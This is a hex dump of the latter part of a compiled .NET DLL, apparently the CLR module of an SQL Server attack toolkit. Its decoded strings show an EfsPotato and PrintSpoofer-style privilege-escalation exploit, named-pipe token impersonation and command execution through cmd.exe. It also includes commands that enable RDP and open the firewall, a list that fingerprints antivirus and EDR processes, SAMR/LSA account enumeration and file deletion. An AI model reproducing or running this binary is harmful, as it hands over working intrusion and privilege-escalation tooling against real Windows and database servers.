007300200041006E007400690056006900720075007300003B5000450052005300460057003A00540069006E007900200050006500720073006F006E0061006C0020004600690072006500770061006C006C0000295000450052005600410043003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0123500045005300540050004100540052004F004C003A0049006B006100720075007300001950005200450056005300520056003A008A712B736B53EB580141520054005600530043004E00390035003A005200650061006C002D00740069006D00650020005600690072007500730020005300630061006E006E00650072000127530041005600410044004D0049004E0053004500520056004900430045003A0053004100560000175300410056004D00410049004E003A0053004100560000175300410056005300430041004E003A00530041005600002B53004400480045004C0050003A005300700079007700610072006500200044006F00630074006F007200001B5300480053005400410054003A004D00630041006600650065000023530050004200420043005300560043003A00530079006D0061006E007400650063000021530050004900440045005200430050004C003A00440072002E00570065006200001F5300500049004400450052004D004C003A00440072002E00570065006200001F530050004900440045005200550049003A00440072002E00570065006200002153005000590042004F005400530044003A0053007000790062006F00740020000023530057004100470045004E0054003A0053006F006E0069006300570041004C004C0000255300570044004F00430054004F0052003A0053006F006E0069006300570041004C004C00001F530057004E00450054005300550050003A0053006F00700068006F0073000023530059004D004C0043005300560043003A00530079006D0061006E007400650063000029530059004D00500052004F00580059005300560043003A00530079006D0061006E007400650063000025530059004D00530050004F00520054003A005300790073006D0061006E007400650063000021530059004D005700530043003A005300790073006D0061006E007400650063000021530059004E004D00470052003A005300790073006D0061006E00740065006300001B54004D004C0049005300540045004E003A008B8DBF52D1798062011954004D004E0054005300520056003A008B8DBF52D1798062011954004D00500052004F00580059003A008B8DBF52D1798062012554004E0042005500540049004C003A0041006E00740069002D0056006900720075007300012D56004200410033003200450043004D003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D560042004100330032004900460053003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D560042004100330032005000500033003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01255600430052004D004F004E003A0056006900720075007300430068006100730065007200001B560052004D004F004E004E0054003A0048004100550052004900001D560052004D004F004E005300560043003A0048004100550052004900001F560053004800570049004E00330032003A004D0063004100660065006500001B5600530053005400410054003A004D00630041006600650065000029580043004F004D004D005300560052003A0042006900740044006500660065006E0064006500720000295A004F004E00450041004C00410052004D003A005A006F006E006500200041006C00610072006D000017330036003000720070003A003300360030004067D26B013361006600770053006500720076003A00200041007600610073007400200041006E00740069007600690072007500730020000023730061006600650062006F00780054007200610079003A003300360030004067D26B0121330036003000730061006600650062006F0078003A003300360030004067D26B011F510051005000430054007200610079003A005100510035751181A17BB65B011D4B00530061006600650054007200610079003A00D191715CD26B3897011B4B0053006100660065005300760063003A00D191715CD26B389701174B00570061007400630068003A00D191715CD26B3897012D67006F0076005F0064006500660065006E00630065005F0073006500720076006900630065003A00914E0195012B67006F0076005F0064006500660065006E00630065005F006400610065006D006F006E003A00914E0195013973006D00610072007400730063007200650065006E003A00570069006E0064006F0077007300200044006500660065006E0064006500720000256D00610063006F006D007000610074007300760063003A004D006300410066006500650000296D00630061006D006E007300760063002E0065007800650020003A004D006300410066006500650000196D0061007300760063003A004D0063004100660065006500001B6D00660065006D006D0073003A004D0063004100660065006500001B6D00630074006100720079003A004D0063004100660065006500001F6D00630073006800690065006C0064003A004D006300410066006500650000196D0066006500770063003A004D0063004100660065006500001B6D00660065007700630068003A004D006300410066006500650000196D0066006500660077003A004D0063004100660065006500001D6D006600650066006900720065003A004D006300410066006500650000196D0066006500740070003A004D006300410066006500650000216D0066006500630061006E006100720079003A004D006300410066006500650000236D006600650063006F006E0073006F006C0065003A004D0063004100660065006500001B6D00660065006500730070003A004D0063004100660065006500001766006300610067003A004D00630041006600650065000019660063006100670073003A004D0063004100660065006500001D66006300610067007300770064003A004D0063004100660065006500001D66006300610067006100740065003A004D0063004100660065006500003133003600300045006E00740043006C00690065006E0074003A002959CE6445004400520020004100670065006E00740001336500640072005F007300650063005F0070006C0061006E003A00F16DE14F0D6745004400520020004100670065006E00740001316500640072005F006D006F006E00690074006F0072003A00F16DE14F0D6745004400520020004100670065006E007400012D6500640072005F006100670065006E0074003A00F16DE14F0D6745004400520020004100670065006E0074000137450053004300430043006F006E00740072006F006C003A002F540E661F66B08F2959E37345004400520020004100670065006E007400012945005300430043003A002F540E661F66B08F2959E37345004400520020004100670065006E007400012945005300410056003A002F540E661F66B08F2959E37345004400520020004100670065006E0074000133450053004300430049006E006400650078003A002F540E661F66B08F2959E37345004400520020004100670065006E007400011F41006C006900590075006E00440075006E003A003F96CC91914E914EFE7601257700640073007700660073006100660065003A003300360030004067D26B2D00517FFE760161530059005300540045004D005C00430075007200720065006E00740043006F006E00740072006F006C005300650074005C0043006F006E00740072006F006C005C005400650072006D0069006E0061006C00200053006500720076006500720000256600440065006E0079005400530043006F006E006E0065006300740069006F006E007300008089530059005300540045004D005C00430075007200720065006E00740043006F006E00740072006F006C005300650074005C0043006F006E00740072006F006C005C005400650072006D0069006E0061006C0020005300650072007600650072005C00570069006E00530074006100740069006F006E0073005C005200440050002D00540063007000011550006F00720074004E0075006D006200650072000003300000355B002A005D002000520044005000200069007300200061006C0072006500610064007900200065006E00610062006C006500640000235B002B005D002000520044005000200050006F00720074003A0020007B0030007D0000495B002A005D0020005200440050002000690073002000640069007300610062006C00650064002C00200065006E00610062006C0069006E00670020006900740020002E002E002E00003743003A005C00570069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E00650078006500004373006300200063006F006E0066006900670020007400650072006D0073006500720076006900630065002000730074006100720074003D0020006100750074006F00005F6E00650074007300680020006600690072006500770061006C006C002000730065007400200073006500720076006900630065002000720065006D006F00740065006400650073006B0074006F007000200065006E00610062006C00650000096500780069007400000F63006D0064002E00650078006500000920002F0063002000001B5B002B005D002000500072006F0063006500730073003A002000001F5B002B005D00200061007200670075006D0065006E00740073003A00200000215B002B005D002000520075006E0043006F006D006D0061006E0064003A0020000003200000030A00001753007400640020006F00750074007000750074003A0000095B0058005D00200000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000080ED4500780070006C006F0069007400200066006F007200200045006600730050006F007400610074006F0028004D0053002D00450046005300520020004500660073005200700063004F00700065006E00460069006C0065005200610077002000770069007400680020005300650049006D0070006500720073006F006E00610074006500500072006900760069006C0065006700650020006C006F00630061006C002000700072006900760061006C00650067006500200065007300630061006C006100740069006F006E002000760075006C006E00650072006100620069006C0069007400790029002E000159500061007200740020006F006600200047004D0048002700730020006600750063006B00200054006F006F006C0073002C00200043006F006400650020004200790020007A00630067006F006E00760068002E000D000A0001255B002B005D002000430075007200720065006E007400200075007300650072003A002000002D5300650049006D0070006500720073006F006E00610074006500500072006900760069006C0065006700650000495B0078005D0020005300650049006D0070006500720073006F006E00610074006500500072006900760069006C0065006700650020006E006F0074002000680065006C0064002E000003640000135C005C002E005C0070006900700065005C0000195C0070006900700065005C0073007200760073007600630000335B0078005D002000630061006E0020006E006F0074002000630072006500610074006500200070006900700065003A002000001F5B002B005D002000470065007400200054006F006B0065006E003A002000001F570069006E0053007400610030005C00440065006600610075006C007400000F7B0030007D0020007B0031007D0000255B002B005D00200043006F006D006D0061006E00640020003A0020007B0030007D00200000808D5B0021005D002000700072006F0063006500730073002000770069007400680020007000690064003A0020007B0030007D00200063007200650061007400650064002E000D000A003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D000D000A000D000A0000315B0078005D0020006F007000650072006100740069006F006E002000740069006D006500640020006F00750074002E00003763003A005C00570069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E0065007800650000072F006300200000235C005C006C006F00630061006C0068006F00730074002F0050004900500045002F0000052F005C0000035C000049630036003800310064003400380038002D0064003800350030002D0031003100640030002D0038006300350032002D0030003000630030003400660064003900300066003700650001195C0070006900700065005C006C007300610072007000630000136C006F00630061006C0068006F0073007400003B5B0078005D004500660073005200700063004F00700065006E00460069006C00650052006100770020006600610069006C00650064003A00200000116E006300610063006E005F006E00700000615B0078005D0052007000630053007400720069006E006700420069006E00640069006E00670043006F006D0070006F007300650020006600610069006C00650064002000770069007400680020007300740061007400750073002000300078000003780000695B0078005D00520070006300420069006E00640069006E006700460072006F006D0053007400720069006E006700420069006E00640069006E00670020006600610069006C006500640020007700690074006800200073007400610074007500730020003000780000595B0078005D00520070006300420069006E00640069006E0067005300650074004F007000740069006F006E0020006600610069006C0065006400200077006900740068002000730074006100740075007300200030007800002D5B0021005D00620069006E00640069006E00670020006F006B0020002800680061006E0064006C0065003D000003290000215B002B005D002000720065006D006F0074006500460069006C0065003A002000001B5F002A002E0063006F006E006600690067005F0074007800740000175B002B005D00200063006F0075006E0074003A00200000235B002B005D00200063006F006D00620069006E006500660069006C0065003A002000003F5B002A005D00200027007B0030007D002700200043006F006D00620069006E006500460069006C006500200063006F006D0070006C00650074006500640001675B002A005D002000520065006D006F00760065006400200061006C006C0020006300680069006C00640020006900740065006D007300200061006E0064002000640065006C00650074006500640020006400690072006500630074006F00720079003A002000006F5B0021005D0020004500720072006F0072003A0020006100630063006500730073002000640065006E0069006500640020002D00200063006F0075006C00640020006E006F0074002000640065006C0065007400650020006400690072006500630074006F00720079003A002000016B5B0021005D0020004500720072006F0072003A00200049004F0045007800630065007000740069006F006E0020002D00200063006F0075006C00640020006E006F0074002000640065006C0065007400650020006400690072006500630074006F00720079003A00200001695B0021005D0020004500720072006F0072003A00200055006E0065007800700065006300740065006400200065007800630065007000740069006F006E002000640065006C006500740069006E00670020006400690072006500630074006F00720079003A00200000255B002A005D002000440065006C0065007400650064002000660069006C0065003A00200000655B0021005D0020004500720072006F0072003A0020006100630063006500730073002000640065006E0069006500640020002D00200063006F0075006C00640020006E006F0074002000640065006C006500740065002000660069006C0065003A00200001615B0021005D0020004500720072006F0072003A00200049004F0045007800630065007000740069006F006E0020002D00200063006F0075006C00640020006E006F0074002000640065006C006500740065002000660069006C0065003A002000015F5B0021005D0020004500720072006F0072003A00200055006E0065007800700065006300740065006400200065007800630065007000740069006F006E002000640065006C006500740069006E0067002000660069006C0065003A002000005B5B0021005D0020004500720072006F0072003A002000660069006C00650020006F00720020006400690072006500630074006F0072007900200064006F006500730020006E006F0074002000650078006900730074003A002000003F0D000A005B002B005D002000470065007400430075007200720065006E0074004400690072003A0020000D000A0009007B0030007D000D000A000D000A0000390D000A005B002B005D002000530065007400430075007200720065006E0074004400690072003A0020007B0030007D000D000A000D000A0000050D000A0000375B0021005D0020004500720072006F0072003A002000660069006C00650020006E006F007400200066006F0075006E0064003A00200000515B0021005D0020004500720072006F0072003A0020006E006F0020007000650072006D0069007300730069006F006E007300200074006F00200072006500610064002000660069006C0065003A00200000475B0021005D0020004500720072006F0072003A002000660069006C006500200063006F0075006C00640020006E006F007400200062006500200072006500610064003A00200000555B0021005D0020004500720072006F0072003A00200055006E006500780070006500630074006500640020006500720072006F0072002000720065006100640069006E0067002000660069006C0065003A00200000090D000A000D000A0000270D000A005B002B005D0020004C00690073007400500072006F0063006500730073000D000A00001D7B0030002C002D00310030007D0020007B0031002C002D0031007D000113500072006F006300650073007300490064000017500072006F0063006500730073004E0061006D00650000310A00200020004400690072006500630074006F007200790020006C0069007300740069006E00670020006F0066002000004B5B0021005D0020004500720072006F0072003A0020006400690072006500630074006F0072007900200064006F006500730020006E006F0074002000650078006900730074003A002000005B5B0021005D0020004500720072006F0072003A0020006E006F0020007000650072006D0069007300730069006F006E007300200074006F002000720065006100640020006400690072006500630074006F00720079003A00200000655B0021005D0020004500720072006F0072003A00200075006E00680061006E0064006C0065006400200065007800630065007000740069006F006E0020006C0069007300740069006E00670020006400690072006500630074006F00720079003A00200000255B002A005D00200054006800650020006400690072006500630074006F007200790020000015200069007300200065006D007000740079002100003F4C0061007300740020004D006F0064006900660079002000200020002000200020005400790070006500200020002000200020004F0077006E0065007200000F200020002000530069007A0065000021200020002000460069006C0065002F0044006900720020004E0061006D00650000353D003D003D003D003D003D003D003D003D003D003D003D003D003D002000200020003D003D003D003D003D003D00200020002000000720002000200000212000200020003D003D003D003D003D003D003D003D003D003D003D003D003D0000257B0030003A004D004D002F00640064002F00790079002000480048003A006D006D007D0000133C0055006E006B006E006F0077006E003E0000192000200020003C00460069006C0065003E0020002000200000192000200020003C004400690072003E002000200020002000002F5B002A005D00200048006F0073007400200069007300200072006500610063006800610062006C0065003A00200000335B0021005D00200048006F0073007400200069007300200075006E0072006500610063006800610062006C0065003A00200000674C006F00630061006C00200041006400640072006500730073002000200020002000200020002000200020002000520065006D006F0074006500200041006400640072006500730073002000200020002000200020002000200020005300740061007400650000673D003D003D003D003D003D003D003D003D003D003D003D003D0020002000200020002000200020002000200020003D003D003D003D003D003D003D003D003D003D003D003D003D003D002000200020002000200020002000200020003D003D003D003D003D00000F30002E0030002E0030002E00300000134C0049005300540045004E0049004E0047000017450053005400410042004C004900530048004500440000034E0000335C005C002E005C0070006900700065005C007B0030007D005C0070006900700065005C00730070006F006F006C007300730000375B002A005D0020007B0030007D00200053007500630063006500730073002100200049006E0074005000740072003A007B0031007D0000214300720065006100740065004E0061006D006500640050006900700065005700000B5C005C007B0030007D00001D5C005C007B0030007D002F0070006900700065002F007B0031007D00005B520070006300520065006D006F0074006500460069006E006400460069007200730074005000720069006E007400650072004300680061006E00670065004E006F00740069006600690063006100740069006F006E004500780000395B002A005D00200043006F006E006E006500630074004E0061006D0065005000690070006500200053007500630063006500730073002100002D5B002A005D002000430075007200720065006E00740055007300650072004E0061006D00650020003A00200000435B002A005D002000430075007200720065006E00740043006F006E006E00650063007400500069007000650055007300650072004E0061006D00650020003A002000004F5B002A005D00200049006D0070006500720073006F006E006100740065004E0061006D0065006400500069007000650043006C00690065006E007400200053007500630063006500730073002100001F4F00700065006E0054006800720065006100640054006F006B0065006E0000214400750070006C006900630061007400650054006F006B0065006E004500780000375B002A005D00200053006500740054006800720065006100640054006F006B0065006E0020005300750063006300650073007300210000575B002A005D0020007B0030007D0020005300750063006300650073007300210020006F00750074005F0072006500610064003A007B0031007D0020006F00750074005F00770072006900740065003A007B0032007D0000234300720065006100740065004F00750074005200650061006400500069007000650000375B0021005D0020004300720065006100740065004F00750074005200650061006400500069007000650020006600610069006C00210000575B002A005D0020007B0030007D0020005300750063006300650073007300210020006500720072005F0072006500610064003A007B0031007D0020006500720072005F00770072006900740065003A007B0032007D0000234300720065006100740065004500720072005200650061006400500069007000650000375B0021005D0020004300720065006100740065004500720072005200650061006400500069007000650020006600610069006C002100003F5B002A005D0020007B0030007D002000530075006300630065007300730021002000500072006F0063006500730073005000690064003A007B0031007D00002F430072006500610074006500500072006F006300650073007300570069007400680054006F006B0065006E00570000112F0063006D0064002E00650078006500000F63006D00640020002F0063002000004150007200650070006100720069006E006700200074006F0020006C006F00670069006E002000770069007400680020006C006F00670069006E0020003D0020000015200064006F006D00610069006E0020003D002000000947006F0074002000003120007700680065006E00200074007200790069006E006700200074006F00200063006F006E0076006500720074002000000F2000610073002000730069006400000D4500720072006F0072002000002520007700680065006E0020007400720061006E0073006C006100740069006E0067002000000920006F006E00200000214C00730061004F00700065006E0050006F006C0069006300790020003000780000234C00730061004C006F006F006B00750070004E0061006D006500730020003000780000234C0061006E006D0061006E0057006F0072006B00730074006100740069006F006E00001F4700650074005300740061007200740075007000540069006D006500200000152000720065007400750072006E006500640020000017420069006E00640069006E006700200074006F002000005B52007000630053007400720069006E006700420069006E00640069006E00670043006F006D0070006F007300650020006600610069006C00650064002000770069007400680020007300740061007400750073002000300078000063520070006300420069006E00640069006E006700460072006F006D0053007400720069006E006700420069006E00640069006E00670020006600610069006C0065006400200077006900740068002000730074006100740075007300200030007800005B520070006300420069006E00640069006E006700530065007400410075007400680049006E0066006F004500780020006600610069006C00650064002000770069007400680020007300740061007400750073002000300078000053520070006300420069006E00640069006E0067005300650074004F007000740069006F006E0020006600610069006C00650064002000770069007400680020007300740061007400750073002000300078000027620069006E00640069006E00670020006F006B0020002800680061006E0064006C0065003D00001575006E00620069006E00640069006E00670020000049310032003300340035003700370038002D0031003200330034002D0041004200430044002D0045004600300030002D0030003100320033003400350036003700380039004100420001314C007300610072004F00700065006E0050006F006C0069006300790020006600610069006C006500640020003000780000274C0073006100720043006C006F007300650020006600610069006C006500640020003000780000494C007300610072005100750065007200790049006E0066006F0072006D006100740069006F006E0050006F006C0069006300790020006600610069006C006500640020003000780000314C007300610072004C006F006F006B0075007000530069006400730020006600610069006C00650064002000300078000049310032003300340035003600370038002D0031003200330034002D0041004200430044002D0045004600300030002D00300031003200330034003500360037004300460046004200011D5C0070006900700065005C006E00650074006C006F0067006F006E00003145006E0075006D00650072006100740065004100630063006F0075006E0074005500730069006E0067004C0073006100001F4C007300610072004F00700065006E0050006F006C00690063007900200000374C007300610072005100750065007200790049006E0066006F0072006D006100740069006F006E0050006F006C00690063007900200000334C007300610072004C006F006F006B00750070005300690064007300200069007400650072006100740069006F006E002000000B55007300650072003A00001F4C007300610072004C006F006F006B007500700053006900640073002000003B45006E0075006D00650072006100740065004100630063006F0075006E0074005500730069006E0067004C0073006100200064006F006E006500003345006E0075006D00650072006100740065004100630063006F0075006E0074005500730069006E006700530061006D0072000019530061006D00720043006F006E006E0065006300740020000041530061006D00720045006E0075006D006500720061007400650044006F006D00610069006E00730049006E00530061006D005300650072007600650072002000000F44006F006D00610069006E003A000039530061006D0072004C006F006F006B007500700044006F006D00610069006E0049006E00530061006D005300650072007600650072002000001F530061006D0072004F00700065006E0044006F006D00610069006E002000004B530061006D00720045006E0075006D00650072006100740065005500730065007200730049006E0044006F006D00610069006E00200069007400650072006100740069006F006E0020000037530061006D00720045006E0075006D00650072006100740065005500730065007200730049006E0044006F006D00610069006E002000003D45006E0075006D00650072006100740065004100630063006F0075006E0074005500730069006E006700530061006D007200200064006F006E0065000049310032003300340035003700370038002D0031003200330034002D0041004200430044002D0045004600300030002D0030003100320033003400350036003700380039004100430001155C0070006900700065005C00730061006D007200002B530061006D00720043006F006E006E0065006300740020006600610069006C00650064002000300078000033530061006D00720043006C006F0073006500480061006E0064006C00650020006600610069006C00650064002000300078000053530061006D00720045006E0075006D006500720061007400650044006F006D00610069006E00730049006E00530061006D0053006500720076006500720020006600610069006C0065006400200030007800004B530061006D0072004C006F006F006B007500700044006F006D00610069006E0049006E00530061006D0053006500720076006500720020006600610069006C00650064002000300078000031530061006D0072004F00700065006E0044006F006D00610069006E0020006600610069006C00650064002000300078000049530061006D00720045006E0075006D00650072006100740065005500730065007200730049006E0044006F006D00610069006E0020006600610069006C00650064002000300078000049310032003300340035003600370038002D0031003200330034002D0041004200430044002D0045004600300030002D00300031003200330034003500360037003800390041004200011B5C0070006900700065005C00730070006F006F006C007300730000315200700063004F00700065006E005000720069006E0074006500720020006600610069006C0065006400200030007800003352007000630043006C006F00730065005000720069006E0074006500720020006600610069006C0065006400200030007800006F520070006300520065006D006F0074006500460069006E006400460069007200730074005000720069006E007400650072004300680061006E00670065004E006F00740069006600690063006100740069006F006E004500780020006600610069006C0065006400200030007800000000B1B48E49EFD5934E9B2F739072A33FFC0008B77A5C561934E089090004080E08101110080A0005080E0E0810110C08072004010E0E0E0E062003010E0E0E0320000102060E020608050002010E0E050002020E0E0B0007021809121D0918181803000002040001010E060003180902090800051818180909090900050218181C09100907000318112C0209060003181818180400010918040001021811000A02180E18180209181810114010113805000111380E0800021D051D051D050306112804FF0F1F000401000000040200000004080000000410000000042000000004400000000480000000040001000004000200000400040000040010000004000010000306112C041A00000004FB030000030611300400200000040000080004000000010400000008030611340404000000040000004002061802060902060703000001070000151221010E0500020E0E0E040001011C0A000502181D05081008180A0007180E0808180808180B0008180E080808080808180500021818180B00060218021011540818180B0004021018101810116808080003020E0E10115C12000B02180E0E18180208181810116410116004061D11580306115C020606052001011225060002080E10180500010810180A0006080E0E0E0E0E1018060003081809180A00061818181810180E0803061D05030611290720030810180E080306112D03061274030612780C20060111291D051D050E070704000118080400010118042001181804200118080320001806200218081D18052002011C1808200312310812351C052001181231042001011808200312311812351C0520010112310520020107070406118080040611808407200301112907070720040118181818060002011D0E0E0500010112390800021D0E1D0E1D0E060002021D0E0E040001020E050002021818030000180E0008180E080808080808101180980B0007021818181818123D0808000402180A0210180A000602180A0808081018070003021018180214000B02180E0E18180208180E1011809C101180A00C000402101810181011809808060003021808081200090218080E0E08180E1011809C101180A0040300000004090000000400000000047A00000004EC0300000A0006020E0E0E08081018070002124112450E120007020E1D05123D1009123D1009101180A8110007020E0E1D051009123D1009101180A806000212490E0E0700030E0E0E100E0B000408101180AC101808080900040818081D051018080004081808081018080003081810181008040001081804000108080E0007080E081018091008100810080E000409101180AC101180BC0910180B00050918101810180910090A00030818101180AC10180A000509180818101810180D00050918081D1180AC101810180C0006080E0E180E1180E41018090005090E0E08081018050001114D0E070003020E101818090004090E09101810090600030E0E020204061180A8040500000004060000000407000000042001010E0320000E04061180B00400000080040100008004020000800403000080062003010E090E04061180AC02060A04061180C804061180CC04061180E40400080000040040000004008000000400000100040000020004061180EC043F0000000306124904061180F8040A00000004061281240406128128040612811C040612812003200002042001010205000201181802060203280002040611810C04061181100820050118181818180520020118180920041231181812351C072003080E091018052001081018092003081809101280F40620011280F4180F200508181D1249101D1280FC0910090E20021181381D124915122101112D0820021D1280FC181807000318181810180B00051818181808101181640D00061818181810118130091018090005181818180910180F000818181818118138101818091009090005181818181018090D000718181818101810180910090B0005181818181180AC10180B000618181818081D0510180E00081818181810180810180810090E00071818180E10180E1011818C080B00081818181809090E091810000708180E09091011815009101181540C000608180E0909101181500909000608180E09091909060003081809090500021818090400011818040611815C0D2003080E0810151221011281580C200115122101128158118164040611816C05200012817406200101128174032000090420010109072002010E12817404200102080720020211816C08070002124912490904061281740528001281740328000E032800090520010112510920031231125112351C072003080E1018090E200508181018101D1281780910090720011D1281781808200308180E101249092004081808124910180F20060818101808101D1281780810090C2005080E10180E1011818C08082005081809090E090406118190052001011159011501280102022A50020100020000010104FFFFFF7F05200101116D0420010108050000128081050702111002050702110C020620010111808905070212080E06000112808D0E05200012809505200012809D072002010E1180A5072003081D050808072003011D05080815070812809112809912809D12809D1D05081280B1020400001241052001011241062001021180B907070212411280B50500020E0E1C0500011D050E0A20030112809D1180C5020D07041D051280A11280C11280B10700011D1280CD0E0600011280CD08032000080700040E0E1C1C1C0600030E0E1C1C0D2004010E1180A51180D91180DD0520001280E10400010E0E04061280ED0620011280ED0E0420011C0E1D070E0818091280CD1D1280CD1280B11280B1020E0E1280A10E0E1280ED042001020E0620011D0E1D030520020E0E0E0600021D0E0E0E46072D1D0E0E0E1D0E1D0E1D0E1D0E1D0E1D0E0E0E0E0E1D0E0E0E0E1D0E0E0E0E1D0E0E0E1D0E0E0E1D0E0E1D0E0E0E0E0E0E1D031D031D031D031D031D031D031D031D031D0307070309114011380507021D05080500001281090520011D050E1007091D051D05091138181818021280B111070A0E1D051D05091138181818021280B10E07081D05091138181818021280B1071512810D020E0E05151221010E092000151181110113000615118111010E04200013000900031D0E0E0E11811507200201130013010600001D1280CD08200202130010130122070C1512810D020E0E0E1D0E0E0E0E081D1280CD1280CD15118111010E1D1280CD080A2001011512811D011300090702151221010E1D0E082003010E1C1181210520001281250520001281291307071280ED1280ED0E1280ED0E1280ED1280CD0306123D072002011C128135052001123D0E0700040E0E0E0E0E062001011181390620010112813D0520001281410500010E1D1C1007061280CD0E1280B1123D1281981D1C0600020E0E1D1C040001081C0300000804000011290420010E0E0600030E0E0E0E06200101128159042001011C0500020E1C1C0A000301128161128161080520010E1D052807151D1158124111540E0E1812815512815D12815D1811681818116011640E1D05081D0511291D1C2A07170E0E1D1158124111540E0E1812815512815D12815D1811681818116011640E1D05081D0511291D1C0500010E1D0E0B07050E1270181280B11D0E021D1C0807031D1C18128155021E01040001180E080002112D1C1181690320000A0C0708181818112D1808081D18060001181281750A0703118088117C11808C030701180400010E18042001010A0607040E1818080700021812816108050702112D1804061181A00900020112816111817D04061181A404061181A8080001128181118185060001081281810507011180800E200B01090707050505050505050504200101050F070608081D1280A11280A1081280B10E07071281890E0E0E1D0E081280B10520001D12390620001D1281890620010111819510070612391281891D1239081D12818908050002010E02070002010E1181950B07040E12391280B11280B10300000E0520020E0808030701080607020E1280B10E07041D1280CD1280CD1D1280CD080520001D13000707040E021D0E080500011D0E0E07100101011D1E00030A010E0600011281AD0E0820011281B51281810520020103082A071B0E1D0E1D0E0A08081280B11D0E0E0A0E0E0E114D0E0E0A1D0E081D0E081D0E1D0E1D0E081D1C1D0E0620011281C10E0520001181C5090703021281BD1281C10500001281CD0620001D1281D10520001281D50620001D1281D90520001281D11A070A1281CD1281D11281D91D1281D1081D1C081D1281D9081D1C062001011281DD2E07161180980E12818811818C1812815D123D18181180981818181811809C1180A01D05081D051281DD1281AC11292F07171180980E12818811818C1812815D123D18181180981818181811809C1180A00E1D05081D051281DD1281B01129092002011181E91181ED0C010003000000010000000000050703180E020307010E062002011D050804200108080C07061D0509123D091180A808062001011181F9809D2E01808753797374656D2E53656375726974792E5065726D697373696F6E732E456E7669726F6E6D656E745065726D697373696F6E4174747269627574652C206D73636F726C69622C2056657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D62373761356335363139333465303839110154020C556E72657374726963746564010600030E1C1C1C18070C123D09123D091180A812491280B11D05080E1D0E1D1C81172E01808453797374656D2E53656375726974792E5065726D697373696F6E732E53656375726974795065726D697373696F6E4174747269627574652C206D73636F726C69622C2056657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D62373761356335363139333465303839808D0154557F53797374656D2E53656375726974792E5065726D697373696F6E732E53656375726974795065726D697373696F6E466C61672C206D73636F726C69622C2056657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6237376135633536313933346530383905466C616773020000000700021C181281811B070B1180AC1180BC18091180AC18181180D41180C012491D1180AC0306114D050001114D0A0B070518091180E8114D1D1C0420010E080B07051180E0181180E4080E808A2E01808453797374656D2E53656375726974792E5065726D697373696F6E732E53656375726974795065726D697373696F6E4174747269627574652C206D73636F726C69622C2056657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6237376135633536313933346530383901000500020E1808010801161101000C7B446F6D61696E4E616D657D00002201001D7B446F6D61696E4E616D657D207B5472616E736C617465644E616D657D00000E07041181141181081181181181040E07070E181808118150118154112D08070211810C11810C080702118110118110040701112912070B181181301818112D18112D18081D18080B07071818112D18081D18080C0708181818112D18081D18080807021181341280F40615122101112D052001011300071511811101112D2B071415122101112D1818118144112D18118138112D1818112D1818112D18112D081D18081511811101112D0E07061181381D18081D05112D112D1B070B11813C11814408081D0E1D1249091181401D1280FC0911814804061181B404061181B804061181BC04061181C0280100237B446E73446F6D61696E4E616D657D207B4E657462696F73446F6D61696E4E616D657D00000D07071818118164112D18081D18071512210112815811070515122101128158080811816812815804061181C404061181C804061181CC04061181D0052002010E0E19070E08081812812C1280F40908081D124908091D1280FC08021B0710081812817C08181D128178090B124918181D1281780908080204000105180500020118050500020118080C07071D05112D1818051812490B0100067B4E616D657D000014070E181818112D1818112D1818112D18081D18080E07051181801D128178080811818412070B18181180AC112D1818112D18081D180810070A181D05112D1818112D18081D180804061181D404061181D804061181DC04061181E010070B18181818112D18112D18081D18080807051818081D180804061181E404061181E804061181EC04061181F00801000200000000000801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F77730100000000009CD90B6100000000020000001C010000E4EC0100E4CE01005253445341BE1BA733C9B3489DA0F37E2427EFCC01000000643A5C6D79636F64655C536861727053514C546F6F6C735C434C522D6D6F64756C655C6F626A5C52656C656173655C434C525F6D6F64756C652E7064620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000028EE010000000000000000003EEE010000200000000000000000000000000000000000000000000030EE01000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF2500200010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058000200540200000000000000000000540234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004B4010000010053007400720069006E006700460069006C00650049006E0066006F0000009001000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000040000F00010049006E007400650072006E0061006C004E0061006D006500000043004C0052005F006D006F00640075006C0065002E0064006C006C00000000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000048000F0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000043004C0052005F006D006F00640075006C0065002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000